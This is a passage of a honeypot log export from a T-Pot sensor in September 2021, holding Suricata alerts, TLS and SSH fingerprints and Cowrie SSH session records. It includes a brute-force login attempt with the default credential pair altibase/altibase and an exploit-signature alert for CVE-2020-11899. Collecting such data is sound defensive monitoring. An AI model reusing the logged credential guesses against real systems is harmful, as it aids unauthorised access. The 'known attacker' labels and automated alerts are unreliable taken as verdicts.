"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
34760	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:03:48.884148+03	2021-09-20 15:15:02.331163+03	{"_id": "4QYXA3wBvYTbRNuER1ed", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:03:48.884148Z", "@timestamp": "2021-09-20T12:03:48.884Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34761	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:03:48.88496+03	2021-09-20 15:15:02.333156+03	{"_id": "4gYXA3wBvYTbRNuER1ed", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:03:47.553032+0000", "pkts_toclient": 0, "pkts_toserver": 8, "bytes_toclient": 0, "bytes_toserver": 740}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246604955720, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:03:48.884960Z", "@timestamp": "2021-09-20T12:03:48.884Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
34775	192.168.20.103	109.199.241.180	Suricata	2021-09-20 15:03:50.947283+03	2021-09-20 15:15:02.35069+03	{"_id": "BQYXA3wBvYTbRNuET1hx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.252", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:03:50.947283Z", "@timestamp": "2021-09-20T12:03:50.947Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34762	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:03:48.819126+03	2021-09-20 15:15:02.334159+03	{"_id": "5AYXA3wBvYTbRNuER1ed", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:03:47.553032+0000", "pkts_toclient": 0, "pkts_toserver": 6, "bytes_toclient": 0, "bytes_toserver": 560}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246604955720, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:03:48.819126Z", "@timestamp": "2021-09-20T12:03:48.819Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
34763	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:03:49.669159+03	2021-09-20 15:15:02.335158+03	{"_id": "6AYXA3wBvYTbRNuER1ee", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 65281, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 2100812262487527, "@version": "1", "in_iface": "enp5s0", "src_port": 59463, "dest_port": 53, "timestamp": "2021-09-20T12:03:49.669159Z", "@timestamp": "2021-09-20T12:03:49.669Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
34764	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:03:49.718994+03	2021-09-20 15:15:02.33716+03	{"_id": "8wYXA3wBvYTbRNuESVcD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36018, "dest_port": 443, "timestamp": "2021-09-20T12:03:49.718994", "@timestamp": "2021-09-20T12:03:49.718Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
34765	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 15:03:49.684562+03	2021-09-20 15:15:02.338187+03	{"_id": "9QYXA3wBvYTbRNuESldn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.login.failed", "message": "login attempt [altibase/altibase] failed", "session": "36090962a7f1", "@version": "1", "password": "altibase", "username": "altibase", "timestamp": "2021-09-20T12:03:49.684562Z", "@timestamp": "2021-09-20T12:03:49.684Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
34766	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:03:50.074826+03	2021-09-20 15:15:02.339189+03	{"_id": "9wYXA3wBvYTbRNuES1eG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 25872, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1501449576391754, "@version": "1", "in_iface": "enp5s0", "src_port": 49564, "dest_port": 53, "timestamp": "2021-09-20T12:03:50.074826Z", "@timestamp": "2021-09-20T12:03:50.074Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
34767	192.168.20.103	109.199.241.180	Suricata	2021-09-20 15:03:49.94874+03	2021-09-20 15:15:02.340187+03	{"_id": "-AYXA3wBvYTbRNuES1eG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.252", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:03:49.948740Z", "@timestamp": "2021-09-20T12:03:49.948Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34782	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:03:49.355024+03	2021-09-20 15:15:02.359691+03	{"_id": "4wYXA3wBvYTbRNuER1ed", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:03:49.355024Z", "@timestamp": "2021-09-20T12:03:49.355Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34769	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:03:50.823828+03	2021-09-20 15:15:02.343157+03	{"_id": "BwYXA3wBvYTbRNuET1hx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:03:50.823828+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 95}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "UDP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0001:0003", "flow_id": 606406309220884, "payload": "ntIAAAABAAAAAAAAD0RFU0tUT1AtMFZRRDYxQgAA/wAB", "@version": "1", "in_iface": "enp5s0", "src_port": 55583, "app_proto": "failed", "dest_port": 5355, "timestamp": "2021-09-20T12:03:50.823828Z", "@timestamp": "2021-09-20T12:03:50.823Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".............DESKTOP-0VQD61B....."}}	1	\N	\N	alert	\N	\N
34770	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:03:50.821558+03	2021-09-20 15:15:02.344696+03	{"_id": "DAYXA3wBvYTbRNuET1hx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:03:50.821558Z", "@timestamp": "2021-09-20T12:03:50.821Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34771	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:03:50.81936+03	2021-09-20 15:15:02.34569+03	{"_id": "CQYXA3wBvYTbRNuET1hx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:03:47.553032+0000", "pkts_toclient": 0, "pkts_toserver": 13, "bytes_toclient": 0, "bytes_toserver": 1230}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246604955720, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:03:50.819360Z", "@timestamp": "2021-09-20T12:03:50.819Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
34772	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:03:51.367361+03	2021-09-20 15:15:02.346691+03	{"_id": "DgYXA3wBvYTbRNuET1hx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:03:51.367361Z", "@timestamp": "2021-09-20T12:03:51.367Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34773	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:03:50.899615+03	2021-09-20 15:15:02.347689+03	{"_id": "DwYXA3wBvYTbRNuET1hx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:03:50.899615+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 110}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 4, "action": "allowed", "category": "Potentially Bad Traffic", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET POLICY Reserved Internal IP Traffic", "signature_id": 2002752}, "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "192.168.20.255", "flow_id": 973211548695071, "payload": "3QYpEAABAAAAAAABIEVFRUZGREVMRkVFUEZBQ05EQUZHRkJFRURHREJFQ0FBAAAgAAHADAAgAAEABJPgAAYAAMCoFJM=", "@version": "1", "in_iface": "enp5s0", "src_port": 137, "app_proto": "failed", "dest_port": 137, "timestamp": "2021-09-20T12:03:50.899615Z", "@timestamp": "2021-09-20T12:03:50.899Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..)......... EEEFFDELFEEPFACNDAFGFBEEDGDBECAA.. ..... .............."}}	1	\N	\N	alert	\N	\N
34774	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:03:50.807462+03	2021-09-20 15:15:02.34969+03	{"_id": "EAYXA3wBvYTbRNuET1hx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:03:50.807462Z", "@timestamp": "2021-09-20T12:03:50.807Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34776	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:03:51.367964+03	2021-09-20 15:15:02.352689+03	{"_id": "EgYXA3wBvYTbRNuET1hx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:03:47.553032+0000", "pkts_toclient": 0, "pkts_toserver": 15, "bytes_toclient": 0, "bytes_toserver": 1430}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246604955720, "payload": "AAAAAgQAAAD/AgAAAAAAAAAAAAAAAAD7BAAAAP8CAAAAAAAA", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:03:51.367964Z", "@timestamp": "2021-09-20T12:03:51.367Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...................................."}}	1	\N	\N	alert	\N	\N
34777	192.168.20.103	109.199.241.180	Suricata	2021-09-20 15:03:51.947741+03	2021-09-20 15:15:02.35369+03	{"_id": "FAYXA3wBvYTbRNuEU1hY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.251", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:03:51.947741Z", "@timestamp": "2021-09-20T12:03:51.947Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34778	1.116.239.130	109.199.241.180	Suricata	2021-09-20 15:03:48.481465+03	2021-09-20 15:15:02.35469+03	{"_id": "2QYXA3wBvYTbRNuEQ1ez", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:03:47.924067+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.116.239.130", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 274590020606371, "payload": "AAADzAYUOD7UGoWME+jOBgXL4/NDPwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36562, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:03:48.481465Z", "@timestamp": "2021-09-20T12:03:48.481Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......8>............C?...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
34779	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:03:47.864413+03	2021-09-20 15:15:02.355691+03	{"_id": "2AYXA3wBvYTbRNuEQ1ez", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:03:47.864413Z", "@timestamp": "2021-09-20T12:03:47.864Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34780	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:03:48.200462+03	2021-09-20 15:15:02.356691+03	{"_id": "3gYXA3wBvYTbRNuERFe8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "1.116.239.130", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", 